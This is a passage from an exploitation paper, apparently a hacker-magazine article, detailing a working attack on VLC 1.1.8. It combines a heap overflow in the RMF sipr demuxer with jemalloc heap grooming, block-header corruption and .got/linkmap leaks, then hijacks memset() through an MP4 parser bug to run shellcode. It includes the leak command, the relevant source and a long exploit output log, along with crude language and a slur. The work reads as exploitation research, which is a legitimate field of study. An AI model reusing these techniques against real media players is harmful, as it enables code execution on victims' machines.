Taking a look back at 'DemuxAudioSipr()', we can see that if 'i_subpacket_h' is set to 0, then 'block_New()', a macro that is substituted with 'block_Alloc()', results in the latter receiving a value for 'i_size' equal to 0. Setting 'i_size' to 0 at (1), results in 'i_alloc' being assigned the value 136. Now do the math; 136 is slightly larger than 128 so, it will be serviced by jemalloc's bin for 192‑byte regions. 192 ‑ 136 = 56; 56 is the size margin for the parameter passed to 'block_Alloc()'; for the blocks to be placed one next to the other, they must reside in the same size class, so, we must make sure the total length of the subpackets does not exceed 56. For a packet containing two subpackets, a wise choice is to set 'i_frame_size' to 20, so that 2 * 20 (< 56) plus the overhead is also serviced by bin‑192. Unfortunately, 'i_frame_size' cannot take arbitrary values; it can only get a set of predefined ones with 20 being the smallest.

Beautiful! Since 'block_t' allocations are always accompanied by their buffer, it means that the 'memcpy()' call at (2) in 'DemuxAudioSipr()', when writing past the boundaries of the victim buffer, may actually overwrite the header of an adjacent audio block; its 'p_buffer', its 'i_buffer' and even its function pointer (but let's ignore this fact for now; abusing the function pointer is trivial and we decided not to deal with it).

Now, a few more things to note:

1 ‑ We know that if one packet has two, for example, subpackets, then its 'p_block' will be alive until all subpackets have been processed; when they are no longer needed, they will be freed resulting in a small hole in the heap. Obviously, the lifetime of a 'p_block' is directly related to the number of its subpackets.

2 ‑ Checking at how 'DemuxAudioSipr()' works, reveals that a packet with 0 subpackets is treated as if it had 1 subpacket. The 'memcpy()' call at (2) will overflow the adjacent heap regions and then, when its processing has finished, the packet will be freed by 'es_out_Send()'.

By combining the facts above, turns out we can:

1 ‑ Use the RMF metadata (MDPR chunks) to define two tracks. Both tracks must use the sipr audio codec. Each packet of the first must have 2 subpackets and each packet of the second 0 subpackets for the vulnerability to be triggered.

2 ‑ Force VLC play the first subpacket of a packet of the first track. A new 'block_t' will be allocated. In the diagram below, 't1s1' stands for 'track 1 subpacket 1'.

.‑‑‑‑‑‑‑‑‑.‑‑‑‑‑‑‑.

| block_t | t1s1 |

'‑‑‑‑‑‑‑‑‑'‑‑‑‑‑‑‑'

3 ‑ Force VLC to play the packet of the second track; the one that has 0 subpackets. A new 'block_t' will eventually be allocated. We have to specially prepare the heap so that the new block is placed directly behind the one initialized at step 2.

.‑‑‑‑‑‑‑‑‑.‑‑‑‑‑‑..‑‑‑‑‑

| block_t | t2s0 || block_t | t1s1 |

'‑‑‑‑‑‑‑‑‑'‑‑‑‑‑‑''‑‑‑‑‑

An overflow will take place thus overwriting the block header of the block allocated in the previous step. We are interested in overwriting the 'p_buffer' to make it point to a memory region of our choice and 'i_buffer' to the number of bytes we want to be leaked.

4 ‑ Feed VLC with the second subpacket for the first track. Since the first subpacket was processed at step 2, the old 'block_t' will be used. If everything goes fine, its 'p_buffer' will point where we set it to and 'i_buffer' will contain a size of our choice. The 'memcpy()' call at (2) in 'DemuxAudioSipr()' will write 'i_frame_size' bytes at our chosen address thus trashing the memory a bit, but when 'es_out_Send()' is called, 'i_buffer' bytes starting at the address 'p_buffer' points to will be sent to the soundcard or any output stream requested by the user!

Note: Well yeah it wasn't that simple... 'es_out_Send()' calls a hell of other functions to process the audio blocks, break them down in smaller blocks, forward them to the output streams and so on. Debugging this process was a very tiresome task; it became apparent that the target, the overflown 'block_t' header had to obey to certain rules so that it wasn't discarded. For example, all packets carry a timestamp; the timestamp of the overflown block must be within a range of valid timestamps, otherwise it's considered stale and dropped!

The following logs correspond to one of our early tests; we used a specially crafted .rmf file to leak 65k of data starting at the binary's .data section.

[hk@lsd ~/src/vlc_exp/leak]$ cat youporn.sh

vlc leak.rmf :sout='#std{access=file,mux=raw,dst=leaked_data.rmf}' \ vlc://quit

[hk@lsd ~/src/vlc_exp/leak]$ source youporn.sh

VLC media player 1.1.8 The Luggage (revision exported) ...

[hk@lsd ~/src/vlc_exp/leak]$ ls ‑lah leaked_data.rmf ‑rwxr‑xr‑x 1 hk hk 128K Mar 31 22:27 leaked_data.rmf

We got back 128k which is about twice as much as we requested. In fact, the useful data is 65k; it just happens that it's written in the output file twice (minor detail related to block buffering).

Careful readers would have probably noticed that we took for granted that the victim block will be allocated right before the target. Such a result can easily be achieved. The technique we use in our exploit is very similar to one of the techniques used in browser exploitation. Briefly, we create several tracks (more than 2000) holding packets of 2 subpackets of 20 bytes each so that all packets end up being allocated in bin‑192. We then force the release of two consecutive allocations thus creating two adjacent holes in the heap. Then, by following what was said so far, we can achieve a reliable information disclosure. Our tests show that we can repeat this process around 40 times before VLC crashes (yet this is only statistics, beautiful Greek statistics ;p).

‑‑‑‑[ 4.5 ‑ RMF summary

It's now time to sum up the information leak process. For a successful information disclosure, the attacker must perform the following steps:

1 ‑ Create 2000 + 1 + 1 tracks. 2000 will be used for heap spraying, 1 will act as the target and 1 as the victim. The lots of allocations will probably result in a new magazine being populated thus guaranteeing that new allocations will be returned in the reverse memory order.

2 ‑ Force the deallocation of two packets belonging to two consecutive tracks. Two adjacent holes will be created. The packet lower in memory must be freed first.

3 ‑ Play the first subpacket of the target track. The hole in the higher address will be assigned to the new block.

4 ‑ Play the packet of the victim track. The new block will be given the lower heap hole and the overflow will reach the block allocated at step 3.

5 ‑ Play the second subpacket of the target track. The memory we want to read will be trashed by 20 bytes (= frame size) and then returned in the output stream.

6 ‑ Watch the epic faggotry evolving in front of your eyes ;)

‑‑[ 5 ‑ Building a reliable exploit

‑‑‑‑[ 5.1 ‑ Overall process

Building a reliable local exploit involves combining all the facts and finding a way to locate, within the target process, all pieces of information required to achieve code execution. Remember that we don't want the user having to manually find any return addresses, return locations and so on. The exploit must be autonomous and self contained; all required information must be automatically detected.

When it comes to the MP4 vulnerability, things are pretty straightforward; we just need to figure out where 'p_root' is and then free it. Additionally, we need to figure out what value 'p_moov' must be overwritten with (i.e. the address of an appropriate .got entry). MP4 exploitation is 100% reliable; once we have found the values of those two parameters, code execution is matter of feeding VLC with a specially crafted MP4 file. For more information the reader can have a look at the attached source code and more specifically at 'mp4.py'; a Python class used to create those special MP4 files that can crash VLC as well as innocent ones that cause no problems. The latter are used to force VLC load 'libmp4_plugin.so' during the very first step of the exploitation process.

Briefly the exploit we developed performs the following steps:

1 ‑ Forces VLC to play an innocent MP4 file so that the target plugin is loaded.

2 ‑ Parses the ELF headers of the VLC binary in order to locate the absolute address of its .got section.

3 ‑ Uses a specially crafted RMF file to leak 65k starting at the address of the binary's .got.

4 ‑ The second entry in the .got table points to the linkmap; a linked list that keeps track of the loaded libraries populated by the loader on each call to 'dlopen()'. Each entry holds the name of a library, the address it's mapped at and so on. We proceed by leaking 1MB of data starting from the address of the first linkmap entry.

5 ‑ Step 4 is repeated until 'libmp4_plugin.so' is detected in the leaked data. VLC loads more than 100 libraries; there's no need to locate them all. Once we got the MP4 plugin entry, we can figure out where exactly it has been loaded.

6 ‑ By statically inspecting the MP4 plugin and by using the information collected at step 5, we can find the absolute address of its .got. The MP4 vulnerability is triggered within this .so; consequently the overwrite must take place within its local .got.

7 ‑ The relocation entries, the string table and the symbol table indicated by the .dynamic section of the MP4 plugin can be properly combined to figure out what .got entry corresponds to what symbol name. We choose to overwrite the .got entry for 'memset()' (more on this later). The absolute address of the 'memset()' .got entry is then calculated and used as the value that will be written in 'p_moov'.

8 ‑ A set of possible addresses for 'p_root' is created by leaking and analyzing specific heap regions. This step is further analyzed later.

9 ‑ A final MP4 file is created. The MP4 file frees all 'p_root' candidates, uses 'chpl' boxes containing the shellcode to force jemalloc give the original 'p_root' region back and lands VLC on the 'unlink()' style pointer exchange. The address of 'p_root', which now contains user supplied data, is written in the .got entry of 'memset()'.

10 ‑ Shellcode is executed, much rejoicing is had ;)

So why did we choose to hook 'memset()'? Turns out that once the MP4 file parsing has finished and the 'unlink()' tyle code has been triggered, VLC calls 'MP4_BoxDumpStructure()' to print the layout of the MP4 file (this is always done by default; no verbose flags required). Since we have corrupted the boxes, 'MP4_BoxDumpStructure()' may access invalid memory and thus segfault. To avoid such a side effect, we have to hook the first external function call. As shown below, this call corresponds to 'memset()' which suits us just fine ;)

static void __MP4_BoxDumpStructure(..., MP4_Box_t *p_box, ...) {

MP4_Box_t *p_child;

if( !i_level )

{

...

}

else

{

...

memset(str, ' ', sizeof(str));

}

...

p_child = p_box‑>p_first;

while(p_child)

{

__MP4_BoxDumpStructure(..., p_child, ...);

p_child = p_child‑>p_next;

}

}

‑‑‑‑[ 5.2 ‑ Detecting 'p_root' address candidates

At first we thought that this would be the easier part of the exploitation process; it turned out that it was actually the most difficult. Our first idea was to play an MP4 file several times and then leak memory in the hope that certain 'MP4_Box_t' signatures may be present somewhere in the heap. Unfortunately, the 64‑byte allocations used by the MP4 plugin, are later used by the RMF parser thus destroying any useful evidence. After long nights and lots of tests, we came up with the following technique which turned out to be successful:

Briefly, we do the following:

1 ‑ We leak 65k of data by overwriting 'i_buffer' and leaving 'p_buffer' at its present value. This way we read memory contents starting from the address that the victim 'p_block' is located.

2 ‑ As we have already discussed, the 'p_blocks' created by our RMF file are 192 bytes long, so, they lie within runs serviced by bin‑192. Leaking data from where 'p_buffer' points, results in neighboring runs being leaked as well.

3 ‑ In our jemalloc article we mentioned that (a) runs are PAGE_SIZE aligned and (b) run headers start with a pointer to the corresponding bin. We analyze the leaked data and try to locate PAGE_SIZE aligned addresses that start with something that looks like a bin pointer (0x0804yyyy, some bytes after the main binary's .bss section).

4 ‑ We leak 65k starting from the binary's .bss section. The bins array of the main arena lies somewhere around. We analyze the data and locate the address of bin‑64.

5 ‑ We leak about 7‑8MB of commonly used heap regions. Since we now know the address of bin‑64, we try to locate all runs that start with a pointer pointing at it, that is, runs that contain 64byte regions.

6 ‑ All regions in these runs will be freed by our MP4 file; 'p_root' is probably one of them.

‑‑[ 6 ‑ Demonstration

An art of exploitation paper serves nothing without the proper show off ;) This section was specially prepared to be hard sex for your eyes. We were very careful and, in fact, we spent many hours trying to figure out the leetest shellcode to use, but we couldn't come up with something more perfect than 'int3'.

[hk@lsd ~]$ gdb ‑q vlc

Reading symbols from xxx/bin/vlc...done.

(gdb) run ‑‑rc‑host 127.0.0.1:8080

Starting program: xxx/bin/vlc ‑‑rc‑host 127.0.0.1:8080

...

Let's run the exploit. The actual output may differ since the logs shown below do not correspond to the latest version of our code (oh and by the way, we are not fucking Python experts).

[hk@lsd ~]$ python main.py

usage: main.py <vlc_install_prefix> [<rc_port>]

[hk@lsd ~]$ python main.py xxx/ 8080

[~] Forcing VLC to load libmp4_plugin.so

[~] Playing MP4 file 1 times

.ok

[~] .got address for VLC binary is 0x0804ad60

[~] .got address for MP4 plugin is 0x00025e1c

[~] Index of memset() in MP4's .got is 35

[~] Requesing memory leak of .got

[~] Leaking 65535 bytes 0x0804ad60‑0x0805ad5f

[~] Summary of our memory view

001 0x0804ad60‑0x0805ad4a (65515 bytes)

[~] Got 65515 bytes of useful data

[~] Saving .got data in got.bin

[~] Guessed linkmap address is 0x28088000

[~] Requesting memory leak of linkmap

[~] Leaking 4194304 bytes 0x28086000‑0x28486000

[~] Summary of our memory view

001 0x0804ad60‑0x0805ad4a (65515 bytes)

002 0x28086000‑0x28485feb (4194284 bytes)

[~] Got 4194284 bytes of useful data

[~] Saving linkmap partial data in linkmap‑0x28086000.bin 001 0x08048000‑0x00000000 unknown‑0x08048000‑0x00000000 002 0x2808e000‑0x2817a084 libc.so.7

003 0x281a5000‑0x281b95b4 libvlc.so.7

004 0x281bd000‑0x28286234 libvlccore.so.4

005 0x282a7000‑0x282e3c14 libdbus‑1.so.3

006 0x282ed000‑0x282f0814 librt.so.1

007 0x282f2000‑0x28305a84 libm.so.5

008 0x2830c000‑0x2831d334 libthr.so.3

009 0x28321000‑0x28327d44 libintl.so.9

010 0x2832a000‑0x28343eb4 libiconv.so.3

011 0x2842c000‑0x2842ea84 liboss_plugin.so

012 0x28430000‑0x28431734 libmemcpymmxext_plugin.so

013 0x28433000‑0x284401b4 libaccess_bd_plugin.so

014 0x28442000‑0x28443764 libaccess_mmap_plugin.so

015 0x28445000‑0x28447c64 libfilesystem_plugin.so

016 0x2844a000‑0x2844bc24 libdecomp_plugin.so

017 0x2844d000‑0x2844ebd4 libstream_filter_rar_plugin.so 018 0x28450000‑0x284563e4 libzip_plugin.so

019 0x28458000‑0x28464a04 libz.so.5

020 0x2846a000‑0x2846b244 libstream_filter_record_plugin.so 021 0x2846d000‑0x2847e994 libplaylist_plugin.so

022 0x28482000‑0x28483414 libxml_plugin.so

023 0x29300000‑0x29402fb4 libxml2.so.5

024 0x28485000‑0x2848a9c4 libhotkeys_plugin.so

025 0x2848d000‑0x2848e384 libinhibit_plugin.so

026 0x28490000‑0x28490fb4 libsignals_plugin.so

027 0x28493000‑0x28494bd4 libglobalhotkeys_plugin.so

028 0x28497000‑0x284982c4 libxcb‑keysyms.so.1

029 0x2849a000‑0x284af254 libxcb.so.2

030 0x284b2000‑0x284b3754 libXau.so.6

031 0x284b5000‑0x284b7b14 libXdmcp.so.6

032 0x284ba000‑0x284ba574 libpthread‑stubs.so.0

033 0x284bc000‑0x284c43f4 liboldrc_plugin.so

034 0x284c8000‑0x284e9da4 libmp4_plugin.so

[~] MP4 plugin is mmap'ed at 0x284c8000‑0x284e9da4

[~] Absolute .got address for MP4 plugin at 0x284ede1c

[~] .got address of memset() is 0x284edea8

[~] .bss address for VLC binary is 0x0804adec

[~] Searching for bin[] address candidates

[~] Leaking 131070 bytes from current location

[~] Got 131050 bytes of useful data

0x0804c0a0...ok

[~] Leaking 65535 bytes 0x0804adec‑0x0805adeb

[~] Summary of our memory view

001 0x0804ad60‑0x0805ad4a (65515 bytes)

002 0x28086000‑0x28485feb (4194284 bytes)

003 0x0804adec‑0x0805add6 (65515 bytes)

[~] Got 65515 bytes of useful data

[~] bin‑64 runcur at 0x2891a000, bin address 0x0804bfd8

[~] Playing MP4 file 16 times

................ok

[~] Leaking 7340032 bytes 0x28700000‑0x28e00000

[~] Summary of our memory view

001 0x0804ad60‑0x0805ad4a (65515 bytes)

002 0x28086000‑0x28485feb (4194284 bytes)

003 0x0804adec‑0x0805add6 (65515 bytes)

004 0x28700000‑0x28dfffeb (7340012 bytes)

[~] Got 7340012 bytes of useful data

[~] Trying to locate target runs for bin‑64 at 0x0804c0a0 64byte region run at 0x28912000

64byte region run at 0x28919000

64byte region run at 0x2891a000

64byte region run at 0x28933000

64byte region run at 0x289fc000

64byte region run at 0x289fd000

64byte region run at 0x289fe000

64byte region run at 0x28b32000

64byte region run at 0x28b33000

64byte region run at 0x28b34000

64byte region run at 0x28b36000

64byte region run at 0x28b37000

64byte region run at 0x28b38000

64byte region run at 0x28b39000

64byte region run at 0x28b3a000

64byte region run at 0x28b3b000

64byte region run at 0x28bac000

64byte region run at 0x28bad000

64byte region run at 0x28bae000

64byte region run at 0x28baf000

[~] Constructing final MP4 payload

[~] Will free the following memory regions 0x28912080...0x289120c0...0x28912100...0x28912140...0x28912180... 0x289121c0...0x28912200...0x28912240...0x28912280...0x289122c0... 0x28912300...0x28912340...0x28912380...0x289123c0...0x28912400... 0x28912440...0x28912480...0x289124c0...0x28912500...0x28912540... 0x28912580...0x289125c0...0x28912600...0x28912640...0x28912680... 0x289126c0...0x28912700...0x28912740...0x28912780...0x289127c0... 0x28912800...0x28912840...0x28912880...0x289128c0...0x28912900... 0x28912940...0x28912980...0x289129c0...0x28912a00...0x28912a40... 0x28912a80...0x28912ac0...0x28912b00...0x28912b40...0x28912b80... 0x28912bc0...0x28912c00...0x28912c40...0x28912c80...0x28912cc0... 0x28912d00...0x28912d40...0x28912d80...0x28912dc0...0x28912e00... 0x28912e40...0x28912e80...0x28912ec0...0x28912f00...0x28912f40... 0x28912f80...0x28912fc0...0x28919080...0x289190c0...0x28919100... 0x28919140...0x28919180...0x289191c0...0x28919200...0x28919240... 0x28919280...0x289192c0...0x28919300...0x28919340...0x28919380... 0x289193c0...0x28919400...0x28919440...0x28919480...0x289194c0... 0x28919500...0x28919540...0x28919580...0x289195c0...0x28919600... 0x28919640...0x28919680...0x289196c0...0x28919700...0x28919740... 0x28919780...0x289197c0...0x28919800...0x28919840...0x28919880... 0x289198c0...0x28919900...0x28919940...0x28919980...0x289199c0... 0x28919a00...0x28919a40...0x28919a80...0x28919ac0...0x28919b00... 0x28919b40...0x28919b80...0x28919bc0...0x28919c00...0x28919c40... 0x28919c80...0x28919cc0...0x28919d00...0x28919d40...0x28919d80... 0x28919dc0...0x28919e00...0x28919e40...0x28919e80...0x28919ec0... 0x28919f00...0x28919f40...0x28919f80...0x28919fc0...0x2891a080... 0x2891a0c0...0x2891a100...0x2891a140...0x2891a180...0x2891a1c0... 0x2891a200...0x2891a240...0x2891a280...0x2891a2c0...0x2891a300... 0x2891a340...0x2891a380...0x2891a3c0...0x2891a400...0x2891a440... 0x2891a480...0x2891a4c0...0x2891a500...0x2891a540...0x2891a580... 0x2891a5c0...0x2891a600...0x2891a640...0x2891a680...0x2891a6c0... 0x2891a700...0x2891a740...0x2891a780...0x2891a7c0...0x2891a800... 0x2891a840...0x2891a880...0x2891a8c0...0x2891a900...0x2891a940... 0x2891a980...0x2891a9c0...0x2891aa00...0x2891aa40...0x2891aa80... 0x2891aac0...0x2891ab00...0x2891ab40...0x2891ab80...0x2891abc0... 0x2891ac00...0x2891ac40...0x2891ac80...0x2891acc0...0x2891ad00... 0x2891ad40...0x2891ad80...0x2891adc0...0x2891ae00...0x2891ae40... 0x2891ae80...0x2891aec0...0x2891af00...0x2891af40...0x2891af80... 0x2891afc0...0x28933080...0x289330c0...0x28933100...0x28933140... 0x28933180...0x289331c0...0x28933200...0x28933240...0x28933280... 0x289332c0...0x28933300...0x28933340...0x28933380...0x289333c0... 0x28933400...0x28933440...0x28933480...0x289334c0...0x28933500... 0x28933540...0x28933580...0x289335c0...0x28933600...0x28933640... 0x28933680...0x289336c0...0x28933700...0x28933740...0x28933780... 0x289337c0...0x28933800...0x28933840...0x28933880...0x289338c0... 0x28933900...0x28933940...0x28933980...0x289339c0...0x28933a00... 0x28933a40...0x28933a80...0x28933ac0...0x28933b00...0x28933b40... 0x28933b80...0x28933bc0...0x28933c00...0x28933c40...0x28933c80... 0x28933cc0...0x28933d00...0x28933d40...0x28933d80...0x28933dc0... 0x28933e00...0x28933e40...0x28933e80...0x28933ec0...0x28933f00... 0x28933f40...0x28933f80...0x28933fc0...0x289fc080...0x289fc0c0... 0x289fc100...0x289fc140...0x289fc180...0x289fc1c0...0x289fc200... 0x289fc240...0x289fc280...0x289fc2c0...0x289fc300...0x289fc340... 0x289fc380...0x289fc3c0...0x289fc400...0x289fc440...0x289fc480... 0x289fc4c0...0x289fc500...0x289fc540...0x289fc580...0x289fc5c0... 0x289fc600...0x289fc640...0x289fc680...0x289fc6c0...0x289fc700... 0x289fc740...0x289fc780...0x289fc7c0...0x289fc800...0x289fc840... 0x289fc880...0x289fc8c0...0x289fc900...0x289fc940...0x289fc980... 0x289fc9c0...0x289fca00...0x289fca40...0x289fca80...0x289fcac0... 0x289fcb00...0x289fcb40...0x289fcb80...0x289fcbc0...0x289fcc00... 0x289fcc40...0x289fcc80...0x289fccc0...0x289fcd00...0x289fcd40... 0x289fcd80...0x289fcdc0...0x289fce00...0x289fce40...0x289fce80... 0x289fcec0...0x289fcf00...0x289fcf40...0x289fcf80...0x289fcfc0... 0x289fd080...0x289fd0c0...0x289fd100...0x289fd140...0x289fd180... 0x289fd3c0...0x289fd400...0x289fd440...0x289fd480...0x289fd4c0... 0x289fd500...0x289fd540...0x289fd580...0x289fd5c0...0x289fd600... 0x289fd640...0x289fd680...0x289fd6c0...0x289fd700...0x289fd740... 0x289fd780...0x289fd7c0...0x289fd800...0x289fd840...0x289fd880... 0x289fd8c0...0x289fd900...0x289fd940...0x289fd980...0x289fd9c0... 0x289fda00...0x289fda40...0x289fda80...0x289fdac0...0x289fdb00... 0x289fdb40...0x289fdb80...0x289fdbc0...0x289fdc00...0x289fdc40... 0x289fdc80...0x289fdcc0...0x289fdd00...0x289fdd40...0x289fdd80... 0x289fddc0...0x289fde00...0x289fde40...0x289fde80...0x289fdec0... 0x289fdf00...0x289fdf40...0x289fdf80...0x289fdfc0...0x289fe080... 0x289fe0c0...0x289fe100...0x289fe140...0x289fe180...0x289fe1c0... 0x289fe200...0x289fe240...0x289fe280...0x289fe2c0...0x289fe300... 0x289fe340...0x289fe380...0x289fe3c0...0x289fe400...0x289fe440... 0x289fe480...0x289fe4c0...0x289fe500...0x289fe540...0x289fe580... 0x289fe5c0...0x289fe600...0x289fe640...0x289fe680...0x289fe6c0... 0x289fe700...0x289fe740...0x289fe780...0x289fe7c0...0x289fe800... 0x289fe840...0x289fe880...0x289fe8c0...0x289fe900...0x289fe940... 0x289fe980...0x289fe9c0...0x289fea00...0x289fea40...0x289fea80... 0x289feac0...0x289feb00...0x289feb40...0x289feb80...0x289febc0... 0x289fec00...0x289fec40...0x289fec80...0x289fecc0...0x289fed00... 0x289fed40...0x289fed80...0x289fedc0...0x289fee00...0x289fee40... 0x289fee80...0x289feec0...0x289fef00...0x289fef40...0x289fef80... 0x289fefc0...0x28b32080...0x28b320c0...0x28b32100...0x28b32140... 0x28b32180...0x28b321c0...0x28b32200...0x28b32240...0x28b32280... 0x28b322c0...0x28b32300...0x28b32340...0x28b32380...0x28b323c0... 0x28b32400...0x28b32440...0x28b32480...0x28b324c0...0x28b32500... 0x28b32540...0x28b32580...0x28b325c0...0x28b32600...0x28b32640... 0x28b32680...0x28b326c0...0x28b32700...0x28b32740...0x28b32780... 0x28b327c0...0x28b32800...0x28b32840...0x28b32880...0x28b328c0... 0x28b32900...0x28b32940...0x28b32980...0x28b329c0...0x28b32a00... 0x28b32a40...0x28b32a80...0x28b32ac0...0x28b32b00...0x28b32b40... 0x28b32b80...0x28b32bc0...0x28b32c00...0x28b32c40...0x28b32c80... 0x28b32cc0...0x28b32d00...0x28b32d40...0x28b32d80...0x28b32dc0... 0x28b32e00...0x28b32e40...0x28b32e80...0x28b32ec0...0x28b32f00... 0x28b32f40...0x28b32f80...0x28b32fc0...0x28b33080...0x28b330c0... 0x28b33100...0x28b33140...0x28b33180...0x28b331c0...0x28b33200... 0x28b33240...0x28b33280...0x28b332c0...0x28b33300...0x28b33340... 0x28b33380...0x28b333c0...0x28b33400...0x28b33440...0x28b33480... 0x28b334c0...0x28b33500...0x28b33540...0x28b33580...0x28b335c0... 0x28b33600...0x28b33640...0x28b33680...0x28b336c0...0x28b33700... 0x28b33740...0x28b33780...0x28b337c0...0x28b33800...0x28b33840... 0x28b33880...0x28b338c0...0x28b33900...0x28b33940...0x28b33980... 0x28b339c0...0x28b33a00...0x28b33a40...0x28b33a80...0x28b33ac0... 0x28b33b00...0x28b33b40...0x28b33b80...0x28b33bc0...0x28b33c00... 0x28b33c40...0x28b33c80...0x28b33cc0...0x28b33d00...0x28b33d40... 0x28b33d80...0x28b33dc0...0x28b33e00...0x28b33e40...0x28b33e80... 0x28b33ec0...0x28b33f00...0x28b33f40...0x28b33f80...0x28b33fc0... 0x28b34080...0x28b340c0...0x28b34100...0x28b34140...0x28b34180... 0x28b341c0...0x28b34200...0x28b34240...0x28b34280...0x28b342c0... 0x28b34300...0x28b34340...0x28b34380...0x28b343c0...0x28b34400... 0x28b34440...0x28b34480...0x28b344c0...0x28b34500...0x28b34540... 0x28b34580...0x28b345c0...0x28b34600...0x28b34640...0x28b34680... 0x28b346c0...0x28b34700...0x28b34740...0x28b34780...0x28b347c0... 0x28b34800...0x28b34840...0x28b34880...0x28b348c0...0x28b34900... 0x28b34940...0x28b34980...0x28b349c0...0x28b34a00...0x28b34a40... 0x28b34a80...0x28b34ac0...0x28b34b00...0x28b34b40...0x28b34b80... 0x28b34bc0...0x28b34c00...0x28b34c40...0x28b34c80...0x28b34cc0... 0x28b34d00...0x28b34d40...0x28b34d80...0x28b34dc0...0x28b34e00... 0x28b34e40...0x28b34e80...0x28b34ec0...0x28b34f00...0x28b34f40... 0x28b34f80...0x28b34fc0...0x28b36080...0x28b360c0...0x28b36100... 0x28b36140...0x28b36180...0x28b361c0...0x28b36200...0x28b36240... 0x28b36280...0x28b362c0...0x28b36300...0x28b36340...0x28b36380... 0x28b363c0...0x28b36400...0x28b36440...0x28b36480...0x28b364c0... 0x28b36500...0x28b36540...0x28b36580...0x28b365c0...0x28b36600... 0x28b36640...0x28b36680...0x28b366c0...0x28b36700...0x28b36740... 0x28b36780...0x28b367c0...0x28b36800...0x28b36840...0x28b36880... 0x28b368c0...0x28b36900...0x28b36940...0x28b36980...0x28b369c0... 0x28b36a00...0x28b36a40...0x28b36a80...0x28b36ac0...0x28b36b00... 0x28b36b40...0x28b36b80...0x28b36bc0...0x28b36c00...0x28b36c40... 0x28b36c80...0x28b36cc0...0x28b36d00...0x28b36d40...0x28b36d80... 0x28b36dc0...0x28b36e00...0x28b36e40...0x28b36e80...0x28b36ec0... 0x28b36f00...0x28b36f40...0x28b36f80...0x28b36fc0...0x28b37080... 0x28b370c0...0x28b37100...0x28b37140...0x28b37180...0x28b371c0... 0x28b37200...0x28b37240...0x28b37280...0x28b372c0...0x28b37300... 0x28b37340...0x28b37380...0x28b373c0...0x28b37400...0x28b37440... 0x28b37480...0x28b374c0...0x28b37500...0x28b37540...0x28b37580... 0x28b375c0...0x28b37600...0x28b37640...0x28b37680...0x28b376c0... 0x28b37700...0x28b37740...0x28b37780...0x28b377c0...0x28b37800... 0x28b37840...0x28b37880...0x28b378c0...0x28b37900...0x28b37940... 0x28b37980...0x28b379c0...0x28b37a00...0x28b37a40...0x28b37a80... 0x28b37ac0...0x28b37b00...0x28b37b40...0x28b37b80...0x28b37bc0... 0x28b37c00...0x28b37c40...0x28b37c80...0x28b37cc0...0x28b37d00... 0x28b37d40...0x28b37d80...0x28b37dc0...0x28b37e00...0x28b37e40... 0x28b37e80...0x28b37ec0...0x28b37f00...0x28b37f40...0x28b37f80... 0x28b37fc0...0x28b38080...0x28b380c0...0x28b38100...0x28b38140... 0x28b38180...0x28b381c0...0x28b38200...0x28b38240...0x28b38280... 0x28b382c0...0x28b38300...0x28b38340...0x28b38380...0x28b383c0... 0x28b38400...0x28b38440...0x28b38480...0x28b384c0...0x28b38500... 0x28b38540...0x28b38580...0x28b385c0...0x28b38600...0x28b38640... 0x28b38680...0x28b386c0...0x28b38700...0x28b38740...0x28b38780... 0x28b387c0...0x28b38800...0x28b38840...0x28b38880...0x28b388c0... 0x28b38900...0x28b38940...0x28b38980...0x28b389c0...0x28b38a00... 0x28b38a40...0x28b38a80...0x28b38ac0...0x28b38b00...0x28b38b40... 0x28b38b80...0x28b38bc0...0x28b38c00...0x28b38c40...0x28b38c80... 0x28b38cc0...0x28b38d00...0x28b38d40...0x28b38d80...0x28b38dc0... 0x28b38e00...0x28b38e40...0x28b38e80...0x28b38ec0...0x28b38f00... 0x28b38f40...0x28b38f80...0x28b38fc0...0x28b39080...0x28b390c0... 0x28b39100...0x28b39140...0x28b39180...0x28b391c0...0x28b39200... 0x28b39240...0x28b39280...0x28b392c0...0x28b39300...0x28b39340... 0x28b39380...0x28b393c0...0x28b39400...0x28b39440...0x28b39480... 0x28b394c0...0x28b39500...0x28b39540...0x28b39580...0x28b395c0... 0x28b39600...0x28b39640...0x28b39680...0x28b396c0...0x28b39700... 0x28b39740...0x28b39780...0x28b397c0...0x28b39800...0x28b39840... 0x28b39880...0x28b398c0...0x28b39900...0x28b39940...0x28b39980... 0x28b399c0...0x28b39a00...0x28b39a40...0x28b39a80...0x28b39ac0... 0x28b39b00...0x28b39b40...0x28b39b80...0x28b39bc0...0x28b39c00... 0x28b39c40...0x28b39c80...0x28b39cc0...0x28b39d00...0x28b39d40... 0x28b39d80...0x28b39dc0...0x28b39e00...0x28b39e40...0x28b39e80... 0x28b39ec0...0x28b39f00...0x28b39f40...0x28b39f80...0x28b39fc0... 0x28b3a080...0x28b3a0c0...0x28b3a100...0x28b3a140...0x28b3a180... 0x28b3a1c0...0x28b3a200...0x28b3a240...0x28b3a280...0x28b3a2c0... 0x28b3a300...0x28b3a340...0x28b3a380...0x28b3a3c0...0x28b3a400... 0x28b3a440...0x28b3a480...0x28b3a4c0...0x28b3a500...0x28b3a540... 0x28b3a580...0x28b3a5c0...0x28b3a600...0x28b3a640...0x28b3a680... 0x28b3a6c0...0x28b3a700...0x28b3a740...0x28b3a780...0x28b3a7c0... 0x28b3a800...0x28b3a840...0x28b3a880...0x28b3a8c0...0x28b3a900... 0x28b3a940...0x28b3a980...0x28b3a9c0...0x28b3aa00...0x28b3aa40... 0x28b3aa80...0x28b3aac0...0x28b3ab00...0x28b3ab40...0x28b3ab80... 0x28b3abc0...0x28b3ac00...0x28b3ac40...0x28b3ac80...0x28b3acc0... 0x28b3ad00...0x28b3ad40...0x28b3ad80...0x28b3adc0...0x28b3ae00... 0x28b3ae40...0x28b3ae80...0x28b3aec0...0x28b3af00...0x28b3af40... 0x28b3af80...0x28b3afc0...0x28b3b080...0x28b3b0c0...0x28b3b100... 0x28b3b140...0x28b3b180...0x28b3b1c0...0x28b3b200...0x28b3b240... 0x28b3b280...0x28b3b2c0...0x28b3b300...0x28b3b340...0x28b3b380... 0x28b3b3c0...0x28b3b400...0x28b3b440...0x28b3b480...0x28b3b4c0... 0x28b3b500...0x28b3b540...0x28b3b580...0x28b3b5c0...0x28b3b600... 0x28b3b640...0x28b3b680...0x28b3b6c0...0x28b3b700...0x28b3b740... 0x28b3b780...0x28b3b7c0...0x28b3b800...0x28b3b840...0x28b3b880... 0x28b3b8c0...0x28b3b900...0x28b3b940...0x28b3b980...0x28b3b9c0... 0x28b3ba00...0x28b3ba40...0x28b3ba80...0x28b3bac0...0x28b3bb00... 0x28b3bb40...0x28b3bb80...0x28b3bbc0...0x28b3bc00...0x28b3bc40... 